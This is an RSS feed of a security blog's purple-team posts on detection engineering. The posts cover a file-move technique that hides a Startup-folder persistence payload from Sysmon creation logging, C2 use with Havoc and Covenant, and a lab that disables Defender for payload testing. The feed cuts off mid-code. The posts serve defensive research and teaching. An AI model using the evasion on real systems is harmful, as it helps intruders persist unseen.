<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by hacksplaining on Medium]]></title>
        <description><![CDATA[Stories by hacksplaining on Medium]]></description>
        <link>https://medium.com/@hacksplaining?source=rss-6283e979b6cd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*gM4VYa7Arp7fhFXf5hyeQg@2x.jpeg</url>
            <title>Stories by hacksplaining on Medium</title>
            <link>https://medium.com/@hacksplaining?source=rss-6283e979b6cd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 21:35:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hacksplaining/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[MAC(B)ypassing for Persistence]]></title>
            <link>https://medium.com/@hacksplaining/mac-b-ypassing-for-persistence-22e425ca7c85?source=rss-6283e979b6cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/22e425ca7c85</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[purple-team]]></category>
            <dc:creator><![CDATA[hacksplaining]]></dc:creator>
            <pubDate>Mon, 10 Feb 2025 05:20:38 GMT</pubDate>
            <atom:updated>2025-11-24T16:20:01.155Z</atom:updated>
            <content:encoded><![CDATA[<h3>TL;DR</h3><p><em>MAC(B)ypassing</em> is a payload movement strategy where an attacker operates within specific Windows Time Rules to evade detection logic and telemetry analysis. This technique enables the attacker to move payloads into a target directory without generating logs from new Creation timestamps.</p><p>No exploit, vulnerability, or misconfiguration is being abused, but rather a simple application of actions outside of the tool’s visibility.</p><p><strong>October 2025 Update</strong>: The content from this post has been added as a contribution to T1070.010 — Indicator Removal: Relocate Malware.</p><p>The Windows Times Rules consist of Modified, Accessed, Changed, and Birth (Created) timestamps, collectively known as MACB times. These timestamps play a crucial role in constructing a timeline of events during incident response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*IAWHwkzeIqxZ7KvoAZW-2Q.png" /><figcaption><a href="https://www.sans.org/posters/windows-forensic-analysis/">https://www.sans.org/posters/windows-forensic-analysis/</a></figcaption></figure><p>A commonly discussed technique related to MACB timestamps is <a href="https://attack.mitre.org/techniques/T1070/006/"><em>timestomping</em></a>, which focuses on anti-forensics techniques to alter or obscure the timeline of activity.</p><p>Below is a demonstration of a technique I’ve coined <strong><em>MAC(B)ypassing, </em></strong>where only Local File Move time rules are used; this is more or less associated with <a href="https://attack.mitre.org/techniques/T1070/010/">Indicator Removal: Relocate Malware</a>.</p><blockquote>Relocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as <a href="https://attack.mitre.org/techniques/T1204">User Execution</a> and <a href="https://attack.mitre.org/techniques/T1566">Phishing</a>) that may have generated alerts or otherwise drawn attention from defenders</blockquote><p>Several endpoint detection and response (EDR) products and other endpoint monitoring tools, like Sysmon, have (in my experience) resulted in similar outcomes to MAC(B)ypassing. Aside from Sysmon, I won’t directly mention a specific security tool which this technique works to evade, but I sense most monitor files based on the Creation time of a file.</p><p>The overview of <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon">Sysmon capabilities</a> and Event ID 11 includes:</p><ul><li><em>Detects changes in file creation time to understand when a file was really created. Modification of file create timestamps is a technique commonly used by malware to cover its tracks.</em></li><li><em>File create operations are logged when a file is created or overwritten. This event is useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places malware drops during initial infection.</em></li></ul><p>The description mentions “like the Startup folder” as an example of it’s capabilities. In this scenario, the Sysmon configuration only includes two items for Event ID 11, looking for any file created in the user’s Desktop folder, and also anything containing the string Startup, with no exclusions.</p><pre>&lt;!-- Event ID 11 == FileCreate - Includes --&gt;<br>&lt;RuleGroup groupRelation=&quot;or&quot;&gt;<br>  &lt;FileCreate onmatch=&quot;include&quot;&gt;<br>    &lt;TargetFilename condition=&quot;contains&quot;&gt;C:\Users\standard_user\Desktop&lt;/TargetFilename&gt;<br>    &lt;TargetFilename condition=&quot;contains&quot;&gt;\Startup\&lt;/TargetFilename&gt;<br>  &lt;/FileCreate&gt;<br>&lt;/RuleGroup&gt;</pre><p>To validate the configuration, three files were created:</p><ul><li><em>poc.txt</em> was created on the user’s Desktop</li><li><em>poc_1.txt</em> was created in the <em>standard_user</em> directory</li><li><em>poc_2.txt</em> was created in the user’s <em>Startup </em>folder.</li></ul><pre>New-Item -Type File -Path &quot;C:\Users\standard_user\Desktop&quot; -Name &quot;poc.txt&quot;<br>New-Item -Type File -Path &quot;C:\Users\standard_user&quot; -Name &quot;poc_1.txt&quot;<br>New-Item -Type File -Path &quot;C:\Users\standard_user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\&quot; -Name &quot;poc_2.txt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*k7HGrzYVwGtLKjzj1bl3_A.png" /></figure><p>As expected, only <em>poc.txt</em> and <em>poc_2.txt</em> were logged by Sysmon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I0mvev1qM7Is_D5k1t6ryQ.png" /></figure><p>Next, <em>poc.txt</em> is moved from the Desktop to the Startup folder.</p><pre>Move-Item -Path &quot;C:\Users\standard_user\Desktop\poc.txt&quot; -Destination &quot;C:\users\standard_user\Start Menu\Programs\Startup\poc.txt</pre><p>Inspecting the <em>Properties</em> of poc.txt from each directory shows the same <em>Created </em>timestamp. This is because <em>Local File Move</em> under the Windows Time Rules doesn’t alter the <em>Creation</em> artifact.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*rQu_0UmDtFldTfzpmYqHQw.png" /></figure><p>This is also the same file, as the SHA256 hash is the same; E3b...8855 when on the Desktop, and E3b...8855 when the file is moved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*7h0T3kz-w7INjQPmJ0W7pg.png" /></figure><p>Here is where MAC(B)ypassing is seen (<em>well, more unseen</em>). The Sysmon logs in Elasticsearch return those EID 11 events as expected, but no document available for the file move.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pzuuIoJeu8q289T4asu80g.png" /></figure><p>Utilizing <em>MAC(B)ypassing</em>, an operator might deliver a payload to the target, then move the payload to another directory to bypass any events tied to the Created timestamp.</p><p><strong>persistence.exe</strong> has been uploaded to the target’s Desktop through our implant: <strong>payload.exe</strong> (a Havoc payload running on the user’s Desktop). This generated an EID 11 event; this could easily been uploaded as a benign file: 3ax9he.tmp, TrustMeImADolphin.exe, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_25reA29sIteQzNxJTCSwg.png" /></figure><p>Like many c2 platforms, Havoc includes the <a href="https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Command.c">ability</a> to upload, copy, download, read, and move files. The operator uploaded the persistence binary and then moved it into the Startup folder. Any detection logic relying on the EID 11 events within this folder would be bypassed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*PkUwyjLW7jguQu8M7o-qbQ.png" /></figure><p>Now when the target user logs in to the endpoint, the payload <strong>persistence.exe</strong> will execute. Here we can see the Startup folder binary executing and providing access back to the endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hiQKYNqv1VnHvQ_dSZY10A.png" /></figure><p>Including Process Create events into the search query, we can see all three of the Startup artifacts; the two original txt files being opened by notepad.exe, and also <strong>persistence.exe</strong>. Even though the execution was still logged, the established persistence mechanism was successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xofHAvhieJd8UxDF8UbiIA.png" /></figure><p>MAC(B)ypassing is trivial in nature, but is very impactful when attempting to bypass detections. As mentioned earlier, this is not abusing any vulnerability or misconfiguration, but works within the limitations of the monitoring tools. These types of tooling gaps are reminders that a layered defense and monitoring strategy is needed. If one step fails or is bypassed, then another can be supplemental.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22e425ca7c85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enrichment data for your home lab: HijackLibs and Elasticsearch]]></title>
            <link>https://medium.com/@hacksplaining/enrichment-data-for-your-home-lab-hijacklibs-and-elasticsearch-72820590f7e2?source=rss-6283e979b6cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/72820590f7e2</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[elasticsearch]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <dc:creator><![CDATA[hacksplaining]]></dc:creator>
            <pubDate>Tue, 26 Nov 2024 21:56:13 GMT</pubDate>
            <atom:updated>2024-11-26T22:14:35.409Z</atom:updated>
            <content:encoded><![CDATA[<p>Alongside streaming endpoint and network telemetry from your lab environment into your Elasticsearch instance, you also have the flexibility to manually upload additional data that could prove valuable. This article will provide a quick demonstration of how to achieve this using data from HijackLibs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*gfCdZig8-VIMk03qeMiYyw.png" /></figure><p>I won’t dive into the details of DLL Hijacking, as the concept is thoroughly explained on the HijackLibs website itself. Instead, the focus will be on demonstrating how to integrate HijackLibs data into your preferred log aggregation platform — using Elasticsearch as the example.</p><blockquote>DLL Hijacking is, in the broadest sense, tricking a legitimate/trusted application into loading an arbitrary <a href="https://en.wikipedia.org/wiki/Dynamic-link_library">DLL</a>. Defensive measures such as AV and EDR solutions may not pick up on this activity out of the box, and allow-list applications such as AppLocker may not block the execution of the untrusted code. There are numerous examples of threat actors that have been observed to leverage DLL Hijacking to achieve their objectives.</blockquote><p>Scrolling to the bottom of the page, there is a link to the <a href="https://hijacklibs.net/api/">API page</a>, which provides several formats for querying the data: JSON, CSV, and YAML.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*G6vpJQU0jiLH983JeovRsA.png" /></figure><p>Here is a simple Python script to pull the Hijacklibs json data and upload it into your Elasticsearch environment. Replace &lt;url&gt;, &lt;port&gt;, and &lt;API KEY&gt; per your environment.</p><pre>from elasticsearch import Elasticsearch<br>import requests, json<br><br>hijacklibs_url = &#39;https://hijacklibs.net/api/hijacklibs.json&#39;<br>elastic_url = &#39;https://&lt;url&gt;:&lt;port&gt;&#39;<br>api_key = &#39;&lt;API KEY&gt;&#39;<br><br>client = Elasticsearch(hosts=elastic_url, api_key=api_key, verify_certs=False, ca_certs=None, ssl_show_warn=False)<br>r = requests.get(hijacklibs_url)<br><br>data = []<br><br>for entry in r.json():<br>    data.append({&quot;index&quot;: {&quot;_index&quot;: &quot;hijacklibs&quot;}})<br>    data.append(entry)<br><br>client.bulk(index=&quot;hijacklibs&quot;, operations=data, refresh=True)</pre><p>Once completed, the data view needs to be created. Select the index drop down, and click <strong>Create a data view</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*5VV_9X4xnEnCKISrOd3o_w.png" /></figure><p>Supply the Name of the data view: <strong>hijacklibs</strong>, the matching Index pattern: <strong>hijacklibs*</strong>, and the Timestamp field: <strong>Created</strong>. Click <em>Save data view to Kibana</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fb0SAda5RpgBu8wLD68rvQ.png" /></figure><p>The <em>hijacklibs</em> index is now available to query the imported data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fvgzFdyPFVqbwovzV6n0Sw.png" /></figure><p>For example, we can query all <strong>Vulnerable Executables</strong> by <strong>Type</strong>, <em>Sideloading</em>, and the <strong>Vendor</strong>, <em>Microsoft</em>. The data returns 358 documents, similar to the query performed on the site itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ugkWptU9vq0rInWiK6gjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*kryQorEGoGw5HPZ6djSB5g.png" /></figure><p>While this process may seem straightforward, it opens the door to deeper research opportunities by enriching the data with additional sources.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72820590f7e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rolling your own home lab]]></title>
            <link>https://medium.com/@hacksplaining/rolling-your-own-home-lab-d743acacead6?source=rss-6283e979b6cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/d743acacead6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[hacksplaining]]></dc:creator>
            <pubDate>Thu, 07 Nov 2024 20:57:02 GMT</pubDate>
            <atom:updated>2024-11-07T20:58:11.003Z</atom:updated>
            <content:encoded><![CDATA[<p>There are many great resources out there that provide step-by-step instructions for configuring your own home lab for testing: <a href="https://hausec.com/2021/03/04/creating-a-red-blue-team-home-lab/">Hausec</a> and <a href="https://www.blackhillsinfosec.com/wp-content/uploads/2020/09/SLIDES_HowToBuildHomeLab.pdf">BHIS</a> to mention a few. The more hands-on practice the faster a security practitioner can migrate their offensive or defensive mindset from a <em>science to art</em>; meaning actions become more of a <em>feel</em> than a methodology or process. A strict methodology isn’t bad, but knowing <em>when</em> to do something will come more naturally with experience.</p><p>In this post, I’ll demonstrate some of my own home lab capabilities, which I have found helpful during my own testing and research.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UKY2rEUBCjfE3OFS" /></figure><p>Following this post will be a separate mini-series called “Unintentional Flaws, Intentional Wins”, where we’ll follow a lonely sysadmin responsible for securing the Think Tank Corp. network and abusing the misconfigurations.</p><p>A home lab environment doesn’t need to be complicated, but can become more advanced when needed. My domain controller (WIN19-DC1) and Windows workstations (win11, win10) are all on a single /24 network. Each are running <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon">Sysmon</a> and <a href="https://www.elastic.co/downloads/beats/winlogbeat">Winlogbeat</a> to ship the logs to Elasticsearch.</p><ul><li><a href="https://www.ipfire.org/">IPFire</a> (172.16.0.1)</li><li>ELK Server (172.16.0.254)</li><li>Domain Controller (172.16.0.10)</li><li>Windows 11 Workstation (172.16.0.100)</li><li>Windows 10 Workstation (172.16.0.110)</li></ul><p>Here are some useful event logs to ship to Elasticsearch.</p><pre>winlogbeat.event_logs:<br>  - name: Application<br>  - name: Microsoft-Windows-Bits-Client/Operational<br>  - name: Microsoft-Windows-SmbClient/Security<br>  - name: Microsoft-Windows-PowerShell/Operational<br>  - name: Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational<br>  - name: Microsoft-Windows-Sysmon/Operational<br>  - name: Microsoft-Windows-TaskScheduler/Operational<br>  - name: Microsoft-Windows-TerminalServices-LocalSessionManager/Operational<br>  - name: Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational<br>  - name: Microsoft-Windows-WMI-Activity/Operational<br>  - name: Microsoft-Windows-WinRM/Operational<br>  - name: Microsoft-Windows-Windows Defender/Operational<br>  - name: System<br>  - name: Security<br>  - name: Windows PowerShell<br></pre><p>The Windows workstations were added to the ThinkTank.corp domain. It’s best practice to not modify the Default Domain Policy, so the workstations are <a href="https://www.mustbegeek.com/how-to-apply-gpo-to-computer-group-in-active-directory/#google_vignette">utilizing two separate GPOs</a>: Disable Windows Defender (applied to win10) and Enable Windows Defender (applied to win11).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*X1LUg2Z2Qe7d2zuQeQxJpQ.png" /></figure><p>The Enable Windows Defender configuration includes Real-time protection and Cloud-delivered protection, while Disable Windows Defender disables these controls. This is helpful when testing payloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*D7j8KcdaPu_jq-3BpKCGlQ.png" /><figcaption>Enable Windows Defender</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*F2Z5r4s6yWDK8TI3dvNFAw.png" /><figcaption>Disable Windows Defender</figcaption></figure><p>Here I copied Mimikatz to win11, and Windows Defender quarantined the file. These events can be queried directly from the workstation with Get-MPThreatDetection or reviewing the Event Logs, but we can use Elasticsearch to search for the events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*OoozkhNy6gb7n3nyvEr8dg.png" /><figcaption>Get-MPThreatDetection | Sort-Object -Property DetectionTime -Descending | Select-Object -First 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tBS3w3iy5xFIG0droBu_mg.png" /><figcaption>Microsoft-Windows-Windows Defender/Operational</figcaption></figure><p>Elasticsearch also includes Security Alerts that will be generated from custom Rules or the provided list from Elastic. Suppose you want to test some known or experimental techniques. While testing the activity in your home lab, you can follow up with writing a custom rule to generate an alert to match the command line activity. Below is an example of the <a href="https://car.mitre.org/analytics/CAR-2019-04-003/">Squiblydoo</a> technique to spawn calc.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lufYU82xAAa-jLUOlzPN-g.png" /></figure><p>We can see the file “scrobj.dll” being loaded by regsvr32.exe, which has been added as a Security Rule.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cAgKbhsZyC0U58y2iqgXKw.png" /></figure><p>This action generated an alert on the Alerts dashboard. The Windows Defender test with Mimikatz also generated a Threat Detected alert. Similar functionality is used in my lab orchestration tool <a href="https://medium.com/@hacksplaining/tripwire-a-red-purple-blue-team-lab-orchestration-tool-e54e41538bd9">Tripwire</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fzdGk6VN_znHApMtHbbjrw.png" /></figure><p>References:</p><ul><li><a href="https://hausec.com/2021/03/04/creating-a-red-blue-team-home-lab/">https://hausec.com/2021/03/04/creating-a-red-blue-team-home-lab/</a></li><li><a href="https://www.blackhillsinfosec.com/wp-content/uploads/2020/09/SLIDES_HowToBuildHomeLab.pdf">https://www.blackhillsinfosec.com/wp-content/uploads/2020/09/SLIDES_HowToBuildHomeLab.pdf</a></li><li><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon">https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon</a></li><li><a href="https://www.elastic.co/downloads/beats/winlogbeat">https://www.elastic.co/downloads/beats/winlogbeat</a></li><li><a href="https://www.mustbegeek.com/how-to-apply-gpo-to-computer-group-in-active-directory/#google_vignette">https://www.mustbegeek.com/how-to-apply-gpo-to-computer-group-in-active-directory/#google_vignette</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d743acacead6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tribe of Hackers: Red Team Edition]]></title>
            <link>https://medium.com/@hacksplaining/tribe-of-hackers-red-team-edition-9421b45ca6b6?source=rss-6283e979b6cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/9421b45ca6b6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[red-team-methodology]]></category>
            <dc:creator><![CDATA[hacksplaining]]></dc:creator>
            <pubDate>Thu, 20 Jul 2023 18:41:55 GMT</pubDate>
            <atom:updated>2023-07-20T20:37:15.379Z</atom:updated>
            <content:encoded><![CDATA[<p>I have never been one to recommend any specific “red team” related book due to the ever-changing trends and threat landscape in Cybersecurity, and how often adversaries modify their tactics, techniques, and procedures (TTPs). <a href="https://attack.mitre.org/">MITRE’s ATT&amp;CK</a> matrix does a great job of documenting these TTPs, and is often the one resource I recommend to those starting their journey with Red Teaming, Threat Hunting, or Detection Engineering.</p><p>I do, however, recommend <a href="https://www.amazon.com/Tribe-Hackers-Red-Team-Cybersecurity/dp/1119643325">Tribe of Hackers Red Team</a> written by Marcus J. Carey and Jennifer Jin.</p><blockquote>Tribal knowledge from the best in offensive cybersecurity</blockquote><p>The book interviews 47 industry experts in offensive security with ~20 questions related to their experience and journey into Red Teaming.</p><p>Below are a few of these questions, with some personal answers, but I highly recommend purchasing the book. It will provide guidance, inspire, and motivate you towards your first or next Red Team role.</p><h4>How did you get your start on a red team?</h4><p>I’ve always worked to pave my own path in Cybersecurity; applying to positions which were beyond my current capabilities. This forced me to constantly practice my craft and learn new skills along the way. To build on the experiences offered in my current role, studying for certifications on my personal time, and always tinkering in my detections lab environment.</p><p>I found myself in an official red team role while enjoying years of Threat Hunting and Incident Response positions, across multiple industries. I always searched for ways to apply the red team mentality and related skills where I could, and build relationships with those on red teams for guidance and support.</p><h4>What is the best way to get a red team job?</h4><p>The “lather, rinse, repeat” of Cybersecurity: practice, skill building, and networking. I always advocate to apply the idea of “red teaming” to your current role, and think about what you would do as a Red Teamer in that situation. My own experience involved a horizontal move to an internal red team position, where I was able to apply the <em>red team</em> mindset as a threat hunter.</p><h4>When should you introduce a formal red team into an organization’s security program?</h4><p>The maturity of an organization’s security program should directly influence the introduction of red teaming. If an organization has a formal incident response capability, appropriate visibility and ability to respond to custom detection logic (tailored for that environment), and also the “buy in” or support from management on what “red teaming” is, then they are on the right path towards introducing a formal red team (either internal or external).</p><h4>What’s the most important or easiest-to-implement control that can prevent you from compromising a system or network?</h4><p>This can be a multi-faceted question. I will always recommend restricting admin-level or elevated access; both on individual workstations, but also across the domain. This can prevent a number of techniques and capabilities with minimal effort. An <em>important</em> control, but there is no better strategy than to apply defense-in-depth, and never rely on a single capability or configuration.</p><h4>What nontechnical skills or attitudes do you look for when recruiting and interviewing red team members?</h4><p>I can’t stress the value of <em>relationship building </em>or <em>networking</em>. Strong relationships with the blue team and other business stakeholders goes a long way, when you’re abusing gaps and misconfigurations.</p><p>If you’re looking for additional guidance on how to get involved in Cybersecurity or Red Teaming, Threat Hunting, or Detection Engineering, feel free to send me a message!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9421b45ca6b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A new Tripwire, but in Python]]></title>
            <link>https://medium.com/@hacksplaining/a-new-tripwire-but-in-python-96a5f5b33a3f?source=rss-6283e979b6cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/96a5f5b33a3f</guid>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[purple-team]]></category>
            <dc:creator><![CDATA[hacksplaining]]></dc:creator>
            <pubDate>Fri, 12 May 2023 17:15:30 GMT</pubDate>
            <atom:updated>2023-05-18T03:29:47.304Z</atom:updated>
            <content:encoded><![CDATA[<p>A few months ago, I wrote a PowerShell script called <a href="https://medium.com/@hacksplaining/tripwire-a-red-purple-blue-team-lab-orchestration-tool-e54e41538bd9">Tripwire</a>, which is a virtual machine orchestration script, designed to supplement r<em>ed</em>|p<em>urple</em>|b<em>lue</em> team lab environments.</p><p>The overall intent of Tripwire has not changed, and it’s core functionality remains intact with some new additional features. I originally needed a way to easily power on my local VMware virtual machines, and monitor for generated artifacts when testing new tools and techniques. With most tools, new versions result in improvement opportunities and additional features.</p><p><a href="https://github.com/gregohmyeggo/Tripwire.py">https://github.com/gregohmyeggo/Tripwire.py</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bm3AWMtIi1_8Vu27zuNX1A.png" /><figcaption>Tripwire</figcaption></figure><h4>What’s New?:</h4><ul><li>Written in Python</li><li>Security cases</li><li>Auto-closing alerts</li><li>C2 command logging</li></ul><p>When you run Tripwire.py with the launch [<strong>-l, --launch</strong>] flag, a new case is generated in ELK prior to “Red Ranger” monitoring for alerts. The case acts as a container for any alerts data and added comments during the session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*23Dqc8blomLMRbUKJZFz4w.png" /></figure><p>If the user’s activity generates alerts, “Red Ranger” will still prompt the information in the console window, but now the alert is automatically attached to the case. As a red teamer this is helpful when I’m researching techniques and writing detections for the residual artifacts, of which might result in me getting caught by the blue team.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ej4VdICPtICKepJ56JeGeg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q0Wn9rHTuhaMrKhT7DY_Rg.png" /></figure><p>Another new feature added to Tripwire, is the ability to track c2 framework commands (pending the logging capabilities of the desired framework). From the attacking system, I have configured Filebeats to monitor Sliver’s history file (.sliver-client/history), which is being shipped to Kibana.</p><p>This process is specific to the c2 framework. For example, Covenant doesn’t log it’s history to a file, but the Grunt taskings can be queried via it’s Swagger API. See my post on <a href="https://medium.com/@hacksplaining/covenants-got-swagger-api-585c69549980">Covenant’s API</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*tkkYVs-_ApvQZ1-1-N05AA.png" /></figure><p>The commands are displayed in the console alongside the generated alerts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*cuob374DwgZO2jVGTY__Yg.png" /></figure><p>These too are attached to the case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I_BmLQlWH3PKswCUn6rzug.png" /></figure><p>Tracking the executed commands alongside triggered alerts during testing is a convenient way to note OPSEC considerations, but also track how the actions may be detected. All of this information is stored in the session’s case notes view at a later time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D4qI_68V_3AFSttKN1lWzw.png" /></figure><p>If the returned alert data in the console window is not sufficient, the full alert data can be returned modified as needed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HGhHpSpK3b90mwb6nub7bA.png" /></figure><p>When finished, the script will close the case and sync the status across all attached alerts and close them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zKGTbyD97DJ39dWu35bU3A.png" /></figure><p>Tracking each session as it’s own case has been extremely beneficial when applied to my testing methodology. When developing payloads, and applying evasion and obfuscation techniques to tools to bypass Windows Defender and other security products, monitoring file names, hashes, and other indicators can be viewed chronologically along with the alerts to track the success or failures of your testing process.</p><p><a href="https://github.com/gregohmyeggo/Tripwire.py">https://github.com/gregohmyeggo/Tripwire.py</a></p><p>If you have any questions, feel free to comment or send me a message.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96a5f5b33a3f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Covenant’s Got Swagger (API)]]></title>
            <link>https://medium.com/@hacksplaining/covenants-got-swagger-api-585c69549980?source=rss-6283e979b6cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/585c69549980</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[hacksplaining]]></dc:creator>
            <pubDate>Tue, 21 Feb 2023 16:05:41 GMT</pubDate>
            <atom:updated>2023-02-21T16:12:24.285Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://github.com/cobbr/Covenant">Covenant</a> has built quite the following over the years, and there are several articles demonstrating the capabilities of Covenant. They generally provide guidance on the deployment of the framework, and show how to generate and launch a new Grunt. One missing feature in these write-ups is the inclusion of the Swagger UI.</p><blockquote>API Driven — Covenant is driven by an API that enables multi-user collaboration and is easily extendible. Additionally, Covenant includes a Swagger UI that makes development and debugging easier and more convenient.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pj4BAP4cnlptSQoakPY8Uw.png" /></figure><p>I will try to conceptualize some use cases for utilizing the Swagger UI [with Python], and provide some examples when interacting with the endpoints.</p><p>A copy of the demo script can be found on my <a href="https://github.com/gregohmyeggo/covenant-api">GitHub</a>.</p><h3>Table of Contents</h3><ul><li>Setup</li><li>Basic Functions</li><li>Example</li></ul><h4>Setup</h4><ol><li>Start Covenant</li><li>Navigate to <strong>&lt;Covenant URL&gt;:7443/swagger</strong></li><li>Generate an authorization token with <strong>/api/users/login </strong>under <strong>CovenantUserApi</strong></li><li>Manually query each endpoint</li></ol><p>I recommend visiting the official Covenant Wiki directly for more details. <a href="https://github.com/cobbr/Covenant/wiki/Using-The-API">https://github.com/cobbr/Covenant/wiki/Using-The-API</a></p><p>Although direct access to the Swagger UI is available, I prefer to use a few python functions to query the API programmatically. This allows customization of the data, chain events together when a new Grunt is activated, or to even post messages to a Slack channel or Discord server.</p><p>The code examples below are for <strong>demonstration purposes only</strong>. A valid TLS certificate should be used, and hardcoding clear text credentials in scripts is a poor security practice.</p><p>To begin, we need to setup the script with a few variables and retrieve our authorization token. Similar to the manual setup, we will use the <strong>/api/users/login</strong> endpoint to return COVENANT_TOKEN.</p><pre># FOR TESTING ONLY; a valid TLS certificate should be used.<br>from requests.packages.urllib3.exceptions import InsecureRequestWarning<br>requests.packages.urllib3.disable_warnings(InsecureRequestWarning)<br><br>from datetime import date, 